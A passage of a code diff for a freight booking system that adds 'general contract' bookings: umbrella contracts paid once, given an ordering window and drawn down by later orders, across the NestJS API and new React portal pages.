.getRawMany<{ key: string; total: string }>(); + + const map = new Map(); + for (const row of rows) map.set(row.key ?? '', Number(row.total)); + return map; + } + + /** Convenience: how many units remain for a given container type ('' = bulk). */ + async remainingFor( + contractBookingId: string, + containerTypeKey: string, + ): Promise { + const lines = await this.getQuantityLines(contractBookingId); + const line = lines.find( + (l) => (l.containerTypeId ?? '') === containerTypeKey, + ); + return line?.remainingQuantity ?? 0; + } + + /** True once every contracted line is fully drawn down. */ + async isExhausted(contractBookingId: string): Promise { + const lines = await this.getQuantityLines(contractBookingId); + return lines.every((l) => l.remainingQuantity <= 0); + } +} diff --git a/apps/edr-freight-api/src/modules/bookings/booking-reference-data.service.ts b/apps/edr-freight-api/src/modules/bookings/booking-reference-data.service.ts index 8a2d52172..e15fcba0d 100644 --- a/apps/edr-freight-api/src/modules/bookings/booking-reference-data.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/booking-reference-data.service.ts @@ -59,6 +59,7 @@ export function buildCargoTypeTree( name: child.cargoTypeName, code: child.code, show_free_text_box: child.showFreeTextBox, + unit_of_measure: child.unitOfMeasure ?? null, }), ); diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts b/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts index e1e75e049..6c45b1b48 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts @@ -30,6 +30,7 @@ export interface BookingListFilterOptions { serviceTypeId?: string; cargoTypeId?: string; freightType?: string; + bookingType?: string; tradeDirection?: string; paymentCurrency?: string; paymentStatus?: string; @@ -585,6 +586,11 @@ export class BookingsRepository extends BaseRepository { freightType: options.freightType, }); } + if (options.bookingType) { + qb.andWhere('booking.booking_type = :bookingType', { + bookingType: options.bookingType, + }); + } if (options.tradeDirection) { qb.andWhere('booking.trade_direction = :tradeDirection', { tradeDirection: options.tradeDirection, diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts index 5253ca9bd..90258e47b 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts @@ -258,6 +258,7 @@ export class BookingsService { // } const isGovernment = dto.isGovernment === true; + const isGeneralContract = dto.bookingType === 'GENERAL_CONTRACT'; let companyId: string | null | undefined = dto.companyId; if (isGovernment) { @@ -292,11 +293,12 @@ export class BookingsService { ) { throw new BadRequestException('Selected schedule is not on the booking route'); } - } else { + } else if (!isGeneralContract) { // Day-level pool: the customer picked a DAY — require that the route has at // least one OPEN departure on that EAT day. The batch engine assigns the - // train later. - const day = eatDay(new Date(dto.scheduledDate)); + // train later. General contracts skip this — they have no shipment date at + // creation; each drawdown order validates its own day. + const day = eatDay(new Date(dto.scheduledDate!)); const hasDeparture = await this.trainSchedulingService.existsOpenScheduleOnRouteDay( dto.originYardId, @@ -395,7 +397,8 @@ export class BookingsService { paymentCurrency: dto.paymentCurrency, pnrCode: dto.pnrCode, financialTerms: dto.financialTerms, - scheduledDate: new Date(dto.scheduledDate), + bookingType: isGeneralContract ? 'GENERAL_CONTRACT' : 'ONE_TIME', + scheduledDate: dto.scheduledDate ? new Date(dto.scheduledDate) : null, startDate: dto.startDate ? new Date(dto.startDate) : undefined, endDate: dto.endDate ? new Date(dto.endDate) : undefined, status: 'DRAFT', @@ -647,6 +650,7 @@ export class BookingsService { serviceTypeId: filter.serviceTypeId, cargoTypeId: filter.cargoTypeId, freightType: filter.freightType, + bookingType: filter.bookingType, tradeDirection: filter.tradeDirection, paymentCurrency: filter.paymentCurrency, paymentStatus: filter.paymentStatus, @@ -815,6 +819,7 @@ export class BookingsService { serviceTypeId: filter.serviceTypeId, cargoTypeId: filter.cargoTypeId, freightType: filter.freightType, + bookingType: filter.bookingType, tradeDirection: filter.tradeDirection, paymentCurrency: filter.paymentCurrency, paymentStatus: filter.paymentStatus, diff --git a/apps/edr-freight-api/src/modules/bookings/dto/booking-reference-data.dto.ts b/apps/edr-freight-api/src/modules/bookings/dto/booking-reference-data.dto.ts index 0dc2bd255..35df9dcd3 100644 --- a/apps/edr-freight-api/src/modules/bookings/dto/booking-reference-data.dto.ts +++ b/apps/edr-freight-api/src/modules/bookings/dto/booking-reference-data.dto.ts @@ -1,4 +1,5 @@ import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger'; +import { CargoUnitOfMeasure } from '@edr/types'; export class BookingReferenceYardDto { @ApiProperty({ format: 'uuid' }) @@ -73,6 +74,9 @@ export class BookingReferenceCargoTypeChildDto { @ApiProperty() show_free_text_box!: boolean; + + @ApiProperty({ enum: CargoUnitOfMeasure, nullable: true, required: false }) + unit_of_measure?: CargoUnitOfMeasure | null; } export class BookingReferenceCargoTypeGroupDto { diff --git a/apps/edr-freight-api/src/modules/bookings/dto/create-booking.dto.ts b/apps/edr-freight-api/src/modules/bookings/dto/create-booking.dto.ts index fa3bb6f4d..b7d5ea14d 100644 --- a/apps/edr-freight-api/src/modules/bookings/dto/create-booking.dto.ts +++ b/apps/edr-freight-api/src/modules/bookings/dto/create-booking.dto.ts @@ -17,7 +17,7 @@ import { ValidateIf, ValidateNested, } from 'class-validator'; -import { BOOKING_STATUSES, FREIGHT_TYPES } from '../entities/booking.entity'; +import { BOOKING_STATUSES, BOOKING_TYPES, FREIGHT_TYPES } from '../entities/booking.entity'; import { BookingFreightShapeConstraint } from './validators/booking-freight.validator'; const CONTRACT_TYPES = ['NEW', 'RENEWAL'] as const; @@ -27,6 +27,7 @@ const PAYMENT_CURRENCIES = ['ETB', 'USD'] as const; export { BOOKING_STATUSES, + BOOKING_TYPES, CONTRACT_TYPES, EQUIPMENT_RETURNS, FREIGHT_TYPES, @@ -105,10 +106,24 @@ export class CreateBookingDto { @IsUUID() trainScheduleId?: string; - /** The day the customer wants to ship (the pool day key). */ - @ApiProperty({ example: '2026-06-15T00:00:00.000Z' }) + @ApiPropertyOptional({ + enum: BOOKING_TYPES, + default: 'ONE_TIME', + description: + 'ONE_TIME (default) for a normal booking; GENERAL_CONTRACT for an umbrella contract drawn down by orders.', + }) + @IsOptional() + @IsIn([...BOOKING_TYPES]) + bookingType?: string; + + /** + * The day the customer wants to ship (the pool day key). Required for one-time + * bookings; omitted for general contracts, which pick the date per order. + */ + @ApiPropertyOptional({ example: '2026-06-15T00:00:00.000Z' }) + @ValidateIf((o) => o.bookingType !== 'GENERAL_CONTRACT') @IsDateString() - scheduledDate!: string; + scheduledDate?: string; @ApiProperty({ enum: CONTRACT_TYPES }) @IsIn([...CONTRACT_TYPES]) diff --git a/apps/edr-freight-api/src/modules/bookings/dto/filter-booking.dto.ts b/apps/edr-freight-api/src/modules/bookings/dto/filter-booking.dto.ts index 9ce90d2b9..deee17cf0 100644 --- a/apps/edr-freight-api/src/modules/bookings/dto/filter-booking.dto.ts +++ b/apps/edr-freight-api/src/modules/bookings/dto/filter-booking.dto.ts @@ -3,6 +3,7 @@ import { Transform } from 'class-transformer'; import { IsIn, IsOptional, IsUUID } from 'class-validator'; import { BOOKING_STATUSES, + BOOKING_TYPES, FREIGHT_TYPES, PAYMENT_CURRENCIES, TRADE_DIRECTIONS, @@ -56,6 +57,11 @@ export class FilterBookingDto { @IsIn([...FREIGHT_TYPES]) freightType?: string; + @ApiPropertyOptional({ enum: BOOKING_TYPES, description: 'ONE_TIME or GENERAL_CONTRACT' }) + @IsOptional() + @IsIn([...BOOKING_TYPES]) + bookingType?: string; + @ApiPropertyOptional({ enum: TRADE_DIRECTIONS }) @IsOptional() @IsIn([...TRADE_DIRECTIONS]) diff --git a/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts b/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts index d110391b7..d5f358e5f 100644 --- a/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts +++ b/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts @@ -41,10 +41,15 @@ export const BOOKING_STATUSES = [ 'CANCELLED', 'PENDING_CONSOLIDATION', 'CONSOLIDATED', + 'CONTRACT_ACTIVE', + 'CONTRACT_CLOSED', ] as const; export type BookingStatus = (typeof BOOKING_STATUSES)[number]; +export const BOOKING_TYPES = ['ONE_TIME', 'GENERAL_CONTRACT'] as const; +export type BookingTypeValue = (typeof BOOKING_TYPES)[number]; + export const PAYMENT_STATUSES = [ 'PENDING', 'PNR_GENERATED', @@ -125,8 +130,28 @@ export class Booking extends BaseEntity { @Column({ name: 'status', type: 'varchar', length: 40, default: 'DRAFT' }) status!: string; - @Column({ name: 'scheduled_date', type: 'timestamptz' }) - scheduledDate!: Date; + /** + * ONE_TIME for a normal single-shipment booking; GENERAL_CONTRACT for an + * umbrella contract that is signed/paid once and then drawn down by many + * orders (each order spawns its own ONE_TIME child booking). + */ + @Column({ name: 'booking_type', type: 'varchar', length: 20, default: 'ONE_TIME' }) + bookingType!: string; + + /** + * Nullable: general contracts have no shipment date at creation — the date is + * chosen per drawdown order. One-time bookings always set this (the pool day key). + */ + @Column({ name: 'scheduled_date', type: 'timestamptz', nullable: true }) + scheduledDate?: Date | null; + + /** + * General contracts only: when the ordering window closes, computed from the + * global CONTRACT_PERIOD_MONTHS setting at activation. Null for one-time + * bookings and for contracts that are not yet active. + */ + @Column({ name: 'expires_at', type: 'timestamptz', nullable: true }) + expiresAt?: Date | null; @Column({ name: 'total_amount', type: 'numeric', precision: 14, scale: 2, default: 0 }) totalAmount!: number; diff --git a/apps/edr-freight-api/src/modules/payment/payment.module.ts b/apps/edr-freight-api/src/modules/payment/payment.module.ts index e21ea87b9..e496bb867 100644 --- a/apps/edr-freight-api/src/modules/payment/payment.module.ts +++ b/apps/edr-freight-api/src/modules/payment/payment.module.ts @@ -18,6 +18,7 @@ import { PaymentEventsConsumer } from "./payment-events.consumer"; import { InternalPaymentController } from "./internal-payment.controller"; import { ServiceAuthGuard } from "../../common/guards/service-auth.guard"; import { TrainSchedulingModule } from "../train-scheduling/train-scheduling.module"; +import { DropdownSettingsModule } from "../dropdown-settings/dropdown-settings.module"; import { PaymentWebhookEventEntity } from "./entities/payment-webhook-event.entity"; import { PaymentRefundEntity } from "./entities/payment-refund.entity"; @@ -27,6 +28,7 @@ const FREIGHT_QUEUE = PAYMENT_QUEUES[PaymentServiceEnum.FREIGHT]; imports: [ HttpModule.register({ timeout: 10_000 }), ConfigModule, + DropdownSettingsModule, forwardRef(() => TrainSchedulingModule), TypeOrmModule.forFeature([PaymentWebhookEventEntity, PaymentRefundEntity]), RabbitMQModule.forRootAsync({ diff --git a/apps/edr-freight-api/src/modules/payment/payment.service.ts b/apps/edr-freight-api/src/modules/payment/payment.service.ts index 177b7475b..f159b8a0a 100644 --- a/apps/edr-freight-api/src/modules/payment/payment.service.ts +++ b/apps/edr-freight-api/src/modules/payment/payment.service.ts @@ -34,6 +34,11 @@ import { RefundDto, } from "./payments.dto"; import { BookingBatchService } from "../train-scheduling/booking-batch.service"; +import { DropdownSettingsService } from "../dropdown-settings/dropdown-settings.service"; + +/** Setting code holding the global ordering window (months) for general contracts. */ +const CONTRACT_PERIOD_SETTING_CODE = "general_contract_period"; +const DEFAULT_CONTRACT_PERIOD_MONTHS = 3; const STATUS_MAP: Record = { "action-required": ProviderPaymentStatus.REQUIRES_ACTION, @@ -54,8 +59,23 @@ export class PaymentService { private readonly paymentClient: PaymentClientService, @Inject(forwardRef(() => BookingBatchService)) private readonly bookingBatchService: BookingBatchService, + private readonly dropdownSettings: DropdownSettingsService, ) { } + /** Configured general-contract ordering window in months (defaults to 3). */ + private async contractPeriodMonths(): Promise { + try { + const setting = await this.dropdownSettings.getByCode( + CONTRACT_PERIOD_SETTING_CODE, + ); + const months = Number(setting.children?.[0]?.value); + if (Number.isFinite(months) && months > 0) return months; + } catch { + // Setting not seeded — fall back to the default. + } + return DEFAULT_CONTRACT_PERIOD_MONTHS; + } + async getAll(filters: { search?: string; status?: string; @@ -293,15 +313,44 @@ export class PaymentService { const paidAt = input.paidAt ?? new Date(); + // A general contract is paid once, up front; it does NOT enter the train + // queue (nothing has been ordered yet). Instead it becomes ACTIVE and + // opens its ordering window. Orders placed later spawn their own paid + // child bookings that go through the normal pipeline. + const booking = await this.datasource + .getRepository(Booking) + .findOne({ where: { id: input.bookingId } }); + const isGeneralContract = booking?.bookingType === "GENERAL_CONTRACT"; + + let contractExpiresAt: Date | null = null; + if (isGeneralContract) { + const months = await this.contractPeriodMonths(); + contractExpiresAt = new Date(paidAt); + contractExpiresAt.setMonth(contractExpiresAt.getMonth() + months); + } + await this.datasource.transaction(async (mg) => { await mg.update( PaymentEntity, { id: intent.id }, { status: "success", paidAt, transactionId: input.providerTxnId ?? intent.transactionId }, ); - await mg.update(Booking, { id: input.bookingId }, { paymentStatus: "PAID" ,status:"PAID"}); + await mg.update( + Booking, + { id: input.bookingId }, + isGeneralContract + ? { paymentStatus: "PAID", status: "CONTRACT_ACTIVE", expiresAt: contractExpiresAt } + : { paymentStatus: "PAID", status: "PAID" }, + ); }); + if (isGeneralContract) { + this.logger.log( + `General contract ${booking?.reference ?? input.bookingId} ACTIVE — ordering open until ${contractExpiresAt?.toISOString()}`, + ); + return { alreadyFinalized: false }; + } + try { await this.bookingBatchService.ensurePaidBookingAllocated(input.bookingId); } catch (err) { diff --git a/apps/edr-freight-api/src/modules/rule-engine/dto/create-cargo-type.dto.ts b/apps/edr-freight-api/src/modules/rule-engine/dto/create-cargo-type.dto.ts index 57fe48fed..794f97f83 100644 --- a/apps/edr-freight-api/src/modules/rule-engine/dto/create-cargo-type.dto.ts +++ b/apps/edr-freight-api/src/modules/rule-engine/dto/create-cargo-type.dto.ts @@ -1,5 +1,6 @@ import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger'; -import { IsBoolean, IsInt, IsOptional, IsString, IsUUID, MaxLength, Min } from 'class-validator'; +import { CargoUnitOfMeasure } from '@edr/types'; +import { IsBoolean, IsEnum, IsInt, IsOptional, IsString, IsUUID, MaxLength, Min } from 'class-validator'; export class CreateCargoTypeDto { @ApiProperty({ description: 'Cargo type display name', maxLength: 255 }) @@ -7,6 +8,14 @@ export class CreateCargoTypeDto { @MaxLength(255) cargoTypeName!: string; + @ApiPropertyOptional({ + enum: CargoUnitOfMeasure, + description: 'How this cargo is measured (PER_TON for bulk, PER_ITEM for break-bulk)', + }) + @IsOptional() + @IsEnum(CargoUnitOfMeasure) + unitOfMeasure?: CargoUnitOfMeasure; + @ApiPropertyOptional({ description: 'Parent group ID for hierarchical cargo types' }) @IsOptional() @IsUUID() diff --git a/apps/edr-freight-api/src/modules/rule-engine/entities/cargo-type.entity.ts b/apps/edr-freight-api/src/modules/rule-engine/entities/cargo-type.entity.ts index a0bd9ddaf..2c1ed0e22 100644 --- a/apps/edr-freight-api/src/modules/rule-engine/entities/cargo-type.entity.ts +++ b/apps/edr-freight-api/src/modules/rule-engine/entities/cargo-type.entity.ts @@ -1,4 +1,5 @@ import { BaseEntity } from '@edr/api-common'; +import { CargoUnitOfMeasure } from '@edr/types'; import { Column, Entity, Index, JoinColumn, ManyToOne, OneToMany } from 'typeorm'; @Entity({ schema: 'freight', name: 'cargo_types' }) @@ -19,6 +20,14 @@ export class CargoType extends BaseEntity { @Column({ name: 'show_free_text_box', type: 'boolean', default: false }) showFreeTextBox!: boolean; + /** + * How this cargo's quantity is measured: PER_TON (bulk) or PER_ITEM + * (break-bulk). Nullable for container/legacy cargo, which is counted by + * container. Drives the unit shown when ordering against a general contract. + */ + @Column({ name: 'unit_of_measure', type: 'varchar', length: 16, nullable: true }) + unitOfMeasure?: CargoUnitOfMeasure | null; + @Column({ name: 'requires_director_approval', type: 'boolean', default: false }) requiresDirectorApproval!: boolean; diff --git a/apps/edr-freight-api/src/modules/rule-engine/services/cargo-types.service.ts b/apps/edr-freight-api/src/modules/rule-engine/services/cargo-types.service.ts index 634ac5faa..5a343f910 100644 --- a/apps/edr-freight-api/src/modules/rule-engine/services/cargo-types.service.ts +++ b/apps/edr-freight-api/src/modules/rule-engine/services/cargo-types.service.ts @@ -82,6 +82,7 @@ export class CargoTypesService { showFreeTextBox: dto.showFreeTextBox ?? false, requiresDirectorApproval: dto.requiresDirectorApproval ?? false, isActive: dto.isActive ?? true, + unitOfMeasure: dto.unitOfMeasure ?? null, displayOrder, }); } diff --git a/apps/edr-freight-api/src/modules/scheduling/compare-scheduling-priority.util.ts b/apps/edr-freight-api/src/modules/scheduling/compare-scheduling-priority.util.ts index a7f7350c4..fa8e79037 100644 --- a/apps/edr-freight-api/src/modules/scheduling/compare-scheduling-priority.util.ts +++ b/apps/edr-freight-api/src/modules/scheduling/compare-scheduling-priority.util.ts @@ -1,7 +1,9 @@ export interface SchedulingPriorityBooking { isGovernment?: boolean; priorityScore?: number | null; - scheduledDate: Date | string; + // One-time bookings always carry a date; general contracts (never scheduled) + // may be null — treated as epoch 0 so they sort last. + scheduledDate?: Date | string | null; } /** Government first, then priority score, then earliest scheduled date. */ @@ -15,5 +17,7 @@ export function compareSchedulingPriority( const priorityDiff = (b.priorityScore ?? 0) - (a.priorityScore ?? 0); if (priorityDiff !== 0) return priorityDiff; - return new Date(a.scheduledDate).getTime() - new Date(b.scheduledDate).getTime(); + const aTime = a.scheduledDate ? new Date(a.scheduledDate).getTime() : 0; + const bTime = b.scheduledDate ? new Date(b.scheduledDate).getTime() : 0; + return aTime - bTime; } diff --git a/apps/edr-freight-api/src/modules/train-scheduling/fleet-plan.util.ts b/apps/edr-freight-api/src/modules/train-scheduling/fleet-plan.util.ts index 2e721825e..3b00abd0a 100644 --- a/apps/edr-freight-api/src/modules/train-scheduling/fleet-plan.util.ts +++ b/apps/edr-freight-api/src/modules/train-scheduling/fleet-plan.util.ts @@ -30,7 +30,9 @@ export function sortBookingsForScheduling(bookings: Booking[]): Booking[] { const priorityDiff = (b.priorityScore ?? 0) - (a.priorityScore ?? 0); if (priorityDiff !== 0) return priorityDiff; - return new Date(a.scheduledDate).getTime() - new Date(b.scheduledDate).getTime(); + const aTime = a.scheduledDate ? new Date(a.scheduledDate).getTime() : 0; + const bTime = b.scheduledDate ? new Date(b.scheduledDate).getTime() : 0; + return aTime - bTime; }); } diff --git a/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts b/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts index 7bfe5811e..3928376ce 100644 --- a/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts +++ b/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts @@ -1880,7 +1880,7 @@ export class TrainSchedulingService { origin: booking.originYard?.label ?? booking.originYard?.code ?? 'Unknown origin', destination: booking.destinationYard?.label ?? booking.destinationYard?.code ?? 'Unknown destination', - preferredDepartureDate: booking.scheduledDate.toISOString(), + preferredDepartureDate: booking.scheduledDate?.toISOString() ?? null, status: booking.status, }; } diff --git a/apps/edr-freight-web/portal/src/App.tsx b/apps/edr-freight-web/portal/src/App.tsx index 89d094734..15137cb26 100644 --- a/apps/edr-freight-web/portal/src/App.tsx +++ b/apps/edr-freight-web/portal/src/App.tsx @@ -2,6 +2,7 @@ import { AppLayout, type SidebarItem } from "@/components/AppLayout"; import { CalendarCheck, Home, + Layers, Loader2, MapPin, Receipt, @@ -35,6 +36,8 @@ import BookingDetailPage from "./pages/bookings/BookingDetailPage"; import EditBookingPage from "./pages/bookings/EditBookingPage"; import MyBookings from "./pages/bookings/MyBookings"; import NewBookingPage from "./pages/bookings/NewBookingPage"; +import ContractsList from "./pages/contracts/ContractsList"; +import ContractDetailPage from "./pages/contracts/ContractDetailPage"; import CheckPaymentPage from "./pages/payments/CheckPaymentPage"; import PaymentSuccessPage from "./pages/payments/PaymentSuccessPage"; import PaymentFailurePage from "./pages/payments/PaymentFailurePage"; @@ -199,6 +202,11 @@ const sidebarItems: SidebarItem[] = [ href: "/bookings", icon: , }, + { + label: "General Contracts", + href: "/contracts", + icon: , + }, { label: "Tracking", href: "/tracking", @@ -287,6 +295,8 @@ const App = () => { path="/bookings/:id/contract" element={} /> + } /> + } /> } /> } /> {/* Profile was merged into Settings — keep old links working. */} diff --git a/apps/edr-freight-web/portal/src/pages/bookings/NewBookingPage.tsx b/apps/edr-freight-web/portal/src/pages/bookings/NewBookingPage.tsx index 0a610507d..dd76d893a 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/NewBookingPage.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/NewBookingPage.tsx @@ -1,4 +1,5 @@ import { api } from "@/services/api"; +import { Freight } from "@edr/types"; import { hasAllRequiredDocuments } from "@/services/booking-form-data"; import type { CreateBookingPayload, @@ -175,6 +176,30 @@ export default function NewBookingPage() { const originYard = form.watch("originYard"); const destinationYard = form.watch("destinationYard"); + const bookingType = form.watch("bookingType"); + const isGeneralContract = bookingType === "general_contract"; + + // General contracts have no shipment date at creation — the Schedule step + // (id 5) is skipped; the date is chosen per order against the contract later. + const visibleSteps = useMemo( + () => STEPS.filter((s) => !(isGeneralContract && s.id === 5)), + [isGeneralContract], + ); + const visibleStepIds = useMemo( + () => visibleSteps.map((s) => s.id), + [visibleSteps], + ); + const currentStepIndex = visibleStepIds.indexOf(step); + const isLastStep = currentStepIndex === visibleStepIds.length - 1; + const isFirstStep = currentStepIndex <= 0; + const goToStep = (delta: number) => { + const idx = visibleStepIds.indexOf(step); + const nextIdx = Math.min( + visibleStepIds.length - 1, + Math.max(0, idx + delta), + ); + setStep(visibleStepIds[nextIdx]); + }; const direction = useMemo(() => { const origin = referenceData?.yard.find((y) => y.id === originYard); @@ -210,7 +235,7 @@ export default function NewBookingPage() { return; } - setStep((currentStep) => Math.min(STEPS.length, currentStep + 1)); + goToStep(1); } function buildApiPayload(data: BookingFormValues): CreateBookingPayload { @@ -259,10 +284,20 @@ export default function NewBookingPage() { (s) => s.id === data.serviceTypeId, )!; + const isContract = data.bookingType === "general_contract"; + return { - scheduledDate: data.scheduledDate - ? new Date(data.scheduledDate).toISOString() - : new Date().toISOString(), + bookingType: isContract + ? Freight.BookingType.GeneralContract + : Freight.BookingType.OneTime, + // General contracts omit the shipment date — chosen per order later. + ...(isContract + ? {} + : { + scheduledDate: data.scheduledDate + ? new Date(data.scheduledDate).toISOString() + : new Date().toISOString(), + }), contractType: data.contractType.toUpperCase() as CreateBookingPayload["contractType"], serviceTypeId: data.serviceTypeId, @@ -408,7 +443,7 @@ export default function NewBookingPage() { > - + {persistAndPriceMutation.isError && ( @@ -494,13 +529,13 @@ export default function NewBookingPage() { variant="default" radius="md" leftSection={} - onClick={() => setStep((s) => Math.max(1, s - 1))} - disabled={step === 1} + onClick={() => goToStep(-1)} + disabled={isFirstStep} > Back - {step < STEPS.length ? ( + {!isLastStep ? ( + + + ); + } + + const isContainer = contract.freightType === "CONTAINER"; + const isActive = contract.status === "CONTRACT_ACTIVE"; + const awaitingPayment = contract.status === "FULLY_EXECUTED"; + const poolLines = pool ?? []; + + return ( + + + {/* Header */} + + + + + + + +
+ + + {contract.reference} + + + + + General contract · {isContainer ? "Containerised" : "Bulk"} + +
+
+
+ + + {awaitingPayment && } + {isActive && ( + + )} + +
+ + {/* Summary */} + + + } + value={`${contract.originYard?.label ?? "—"} → ${contract.destinationYard?.label ?? "—"}`} + /> + } + value={ + contract.expiresAt + ? new Date(contract.expiresAt).toLocaleDateString() + : "Not active yet" + } + /> + } + value={contract.tradeDirection ?? "—"} + /> + + + + {/* Drawdown pool */} + {contract.status !== "DRAFT" && ( + + + Contracted quantity + + + How much of this contract has been ordered versus what remains. + + + {poolLines.length === 0 && ( + + No quantity pool available. + + )} + {poolLines.map((line, i) => { + const pct = + line.contractedQuantity > 0 + ? Math.min( + 100, + (line.orderedQuantity / line.contractedQuantity) * 100, + ) + : 0; + const label = isContainer + ? (line.containerTypeName ?? "Containers") + : line.unitOfMeasure === "PER_ITEM" + ? "Items" + : "Tons"; + return ( +
+ + + {label} + + + + {formatQuantity( + line.remainingQuantity, + line.unitOfMeasure, + isContainer, + )} + {" "} + remaining of{" "} + {formatQuantity( + line.contractedQuantity, + line.unitOfMeasure, + isContainer, + )} + + + +
+ ); + })} +
+
+ )} + + {/* Orders */} + + + Orders ({orders?.length ?? 0}) + + {!orders || orders.length === 0 ? ( + + {isActive + ? "No orders yet. Use “Place order” to draw down from this contract." + : "Orders can be placed once the contract is active (paid)."} + + ) : ( + + {orders.map((order, idx) => ( + + +
+ + {order.reference} + + + Ship {new Date(order.scheduledDate).toLocaleDateString()} + {" · "} + {order.lines + .map( + (l) => + `${Number.isInteger(l.quantity) ? l.quantity : l.quantity.toFixed(2)}${ + l.containerTypeName ? ` ${l.containerTypeName}` : "" + }`, + ) + .join(", ")} + +
+ +
+
+ ))} +
+ )} +
+
+ + setOrderOpen(false)} + contract={contract} + pool={poolLines} + onPlaced={() => setOrderOpen(false)} + /> +
+ ); +} diff --git a/apps/edr-freight-web/portal/src/pages/contracts/ContractsList.tsx b/apps/edr-freight-web/portal/src/pages/contracts/ContractsList.tsx new file mode 100644 index 000000000..0940798ec --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/contracts/ContractsList.tsx @@ -0,0 +1,247 @@ +import { useMemo, useState } from "react"; +import { useNavigate } from "react-router-dom"; +import { useQuery } from "@tanstack/react-query"; +import { + Box, + Button, + Card, + Group, + Paper, + Stack, + Text, + TextInput, + ThemeIcon, + Title, +} from "@mantine/core"; +import { Layers, Plus, Search } from "lucide-react"; + +import { api } from "@/services/api"; +import type { BookingListFilter } from "@/services/bookings.service"; +import type { Freight } from "@edr/types"; +import { + DataTable, + DataTableFooter, + type ColumnDef, + usePagination, +} from "@edr/ui-common"; +import { ContractStatusBadge, GREEN, INK, MUTED } from "./contract-ui"; + +export default function ContractsList() { + const navigate = useNavigate(); + const { pagination, setPagination } = usePagination({ pageSize: 10 }); + const [query, setQuery] = useState(""); + + const filter: BookingListFilter = useMemo( + () => ({ + bookingType: "GENERAL_CONTRACT", + page: pagination.pageIndex + 1, + pageSize: pagination.pageSize, + sortBy: "createdAt", + sortOrder: "DESC", + }), + [pagination.pageIndex, pagination.pageSize], + ); + + const { data, isLoading, isError } = useQuery( + api.bookings.list.queryOptions({ input: filter }), + ); + + const rows = useMemo(() => { + const items = data?.items ?? []; + if (!query.trim()) return items; + const q = query.toLowerCase(); + return items.filter( + (b) => + b.reference?.toLowerCase().includes(q) || + b.originYard?.label?.toLowerCase().includes(q) || + b.destinationYard?.label?.toLowerCase().includes(q), + ); + }, [data, query]); + + const activeCount = useMemo( + () => + (data?.items ?? []).filter((b) => b.status === "CONTRACT_ACTIVE").length, + [data], + ); + + const columns: ColumnDef[] = [ + { + id: "reference", + header: () => , + cell: ({ row }) => { + const b = row.original; + return ( + + + + +
+ + {b.reference} + + + {b.freightType === "CONTAINER" ? "Containerised" : "Bulk"} + +
+
+ ); + }, + }, + { + id: "route", + header: () => , + cell: ({ row }) => { + const b = row.original; + return ( + + {b.originYard?.label ?? "—"}{" "} + + → + {" "} + {b.destinationYard?.label ?? "—"} + + ); + }, + }, + { + id: "expires", + header: () => , + cell: ({ row }) => { + const exp = row.original.expiresAt; + return ( + + {exp ? new Date(exp).toLocaleDateString() : "—"} + + ); + }, + }, + { + id: "status", + header: () => , + cell: ({ row }) => , + }, + ]; + + const dataTableStatus = isLoading ? "loading" : isError ? "error" : "success"; + const total = data?.meta?.total ?? (data?.items?.length ?? 0); + const pageCount = Math.max(1, Math.ceil(total / pagination.pageSize)); + + return ( + + + {/* Header */} + + + + General Contracts + + + Reserve a quantity once, then place orders against it until the + contract runs out or its window closes. + + + + + + {/* Summary */} + + + {/* Search */} + } + value={query} + onChange={(e) => setQuery(e.currentTarget.value)} + radius="md" + styles={{ input: { height: 44 } }} + maw={420} + /> + + {/* Table */} + + + navigate(`/contracts/${(row as Freight.IBooking).id}`) + } + pagination={{ + pageIndex: pagination.pageIndex, + pageSize: pagination.pageSize, + pageCount, + totalCount: total, + }} + tableOptions={{ + state: { pagination }, + onPaginationChange: setPagination, + manualPagination: true, + pageCount, + }} + footer={DataTableFooter} + emptyMessage="No general contracts yet. Create one from New Booking → General Contract." + /> + + + + ); +} + +function ColHeader({ label }: { label: string }) { + return ( + + {label} + + ); +} + +function SimpleStat({ + label, + value, + hint, +}: { + label: string; + value: number | string; + hint?: string; +}) { + return ( + + + {label} + + + + {value} + + {hint && ( + + {hint} + + )} + + + ); +} diff --git a/apps/edr-freight-web/portal/src/pages/contracts/PlaceOrderDialog.tsx b/apps/edr-freight-web/portal/src/pages/contracts/PlaceOrderDialog.tsx new file mode 100644 index 000000000..7ad77f6eb --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/contracts/PlaceOrderDialog.tsx @@ -0,0 +1,254 @@ +import { useMemo, useState } from "react"; +import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; +import { + Alert, + Button, + Group, + Modal, + NumberInput, + Select, + Stack, + Text, +} from "@mantine/core"; +import { AlertCircle, CalendarDays, PackagePlus } from "lucide-react"; + +import { api } from "@/services/api"; +import type { Freight } from "@edr/types"; +import { formatQuantity, GREEN, INK } from "./contract-ui"; + +interface PlaceOrderDialogProps { + opened: boolean; + onClose: () => void; + contract: Freight.IBooking; + pool: Freight.ContractQuantityLine[]; + onPlaced: () => void; +} + +/** + * Place a drawdown order against an ACTIVE general contract. The customer picks + * a shipment day (constrained to days with a departure on the contract's route) + * and a quantity per pool line, validated against the remaining quantity. + */ +export function PlaceOrderDialog({ + opened, + onClose, + contract, + pool, + onPlaced, +}: PlaceOrderDialogProps) { + const queryClient = useQueryClient(); + const isContainer = contract.freightType === "CONTAINER"; + + const [scheduledDate, setScheduledDate] = useState(null); + const 